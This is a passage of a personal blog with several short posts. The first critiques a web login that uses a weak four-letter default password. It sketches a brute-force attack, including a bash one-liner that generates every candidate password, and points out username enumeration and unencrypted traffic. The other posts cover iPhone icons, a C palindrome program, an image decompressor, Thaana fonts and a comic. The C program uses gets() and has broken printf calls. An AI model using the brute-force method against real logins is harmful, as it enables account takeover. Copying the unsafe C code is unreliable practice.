3) Four letters? I mean cummon! That's only like 26P4 = 358800 combinations. Which say by brute forcing at about 5 passes/sec is a total of 71760 seconds - roughly 20 hours and more than reasonable time to crack one.Edit : Turns out the above calculation is wrong. It's actually 264=456976 combinations, which adds about 5 hours to the total time estimate above.

4) The redirects for when you enter an invalid username, and when you enter an invalid password (correct username) are different; revealing far more information than it should. i.e, a would be attacker can check if a given username exists or not.

5) Non of the traffic,absolutely non of it is encrypted - making it so very very easy to sniff. They even use "password" as the name for the form field so that should make dsniff pretty happy I think.


Right then, so how easy would it be for say, ME, to write a script based on the above information and crack such a password? VERY easy. I mean all I'd have to do is generate all password combo's (in bash that's as easy as typing "echo {A..Z}{A..Z}{A..Z}{A..Z}" ) , and try them one at a time until I'm redirected to the right page...right? Forget writing stuff, there are already pretty strong bruteforcers out there.

so basically what I'm trying to say here is CHANGE THAT DEFAULT PASSWORD!!!

Changing WebClip icons on iPhone

if you want to change your own webclip icon on the iPhone

Get yourself a suitable icon, rename it to "icon.png". Next, SSH into your phone (You can find plenty of good guides on how to do that) and then upload the icon to "~/var/mobile/Library/WebClips/xxxxxxxxxxx.webclip" folder, where xxxxxxxx is the corrosponding folder name. Replace the existing icon with your new one. You might need to respring to see it.

Here's a small icon i made for Dhiraagu



right-click and save-as if you wanna use it.



C palindrome

a hastily done program that takes a string as input and checks if it is a palindrome. I wrote this on request, and looking back I can see that it is indeed very sloppy code. I would not recommend it for anything serious because the memory management here is just awful! However, I suppose it will do for a beginner programmer looking to cheat a little. Compiles on Turbo C/C++

I think I put it up for the sole purpose of testing Google's code prettifier.

#include<stdio.h>
#include<string.h>
#include<ctype.h>
#include<conio.h>

int main(void)
{
char input[MAX_LEN],buffer[MAX_LEN],bufferrev[MAX_LEN];
int i=0,j=0;

printf("Enter your test string\n");
gets(input);

//Sanitize and remove spaces from input, if any.

do
{
if(!isspace(input[i]) && !ispunct(input[i])){
buffer[j]=input[i];
j++;
}
i++;
} while (input[i]!='\0');

buffer[j]='\0'; //append null character to end. Required for
//string.h functions to operate properly.

//end sanitation code

strcpy(bufferrev,buffer); //copy contents of buffer to bufferrev
strrev(bufferrev);        //reverse bufferrev. provided by string.h

if(strcmp(buffer,bufferrev)==0)
printf("\"%s\" is a palindrome!\n");
else
printf("\"%s\" is not a palindrome!\n");

getch();
return 0;
}

LWF decompressor GUI

A small VB6 application that I wrote back in 2005, and have since lost the source-code of (otherwise I would have put it up)

LWF (lurawave) is was a state-of-the-art image compression format that uses wavelets instead of cosine/Fourier transforms and was thus able to achieve higher compression ratio's at higher qualities than say jpeg. It would've been a great format if only LuraTech had played it better.

sadly it no longer appears to be supported. They seem to have turned their focus more on the JPEG2000 standard, which share the underlying principles.

This is a front-end for the command line tool that is availible from their website on request. It does decompression only, supports multiple formats, passwords and output quality. It's meant for batch processing of single folders. Requires VB runtimes.

DOWNLOAD

Note: This is pretty ancient if you ask me, and one of the first peices of software that I ever wrote so it has sentimental value to me..Tha and I was pretty partial to LWF when it was the thing and I believed that it'd overtake JPEG soon...guess I was wrong about that. (most of my old image archive is still in LWF)

Thaana fonts for linux

Based on the original script by vishah, this package contains the most commonly used thaana fonts (on the web), and a small installation script to help the process. If you want to include potential updates and stuff, use vishah's online script. Use this for offline setups.

DOWNLOAD

Half full

I posted this on Wednesday, January 02, 2008.

A little comic that I drew up while bored in class, and is "dedicated to my baby"...and I still read xkcd on a regular basis!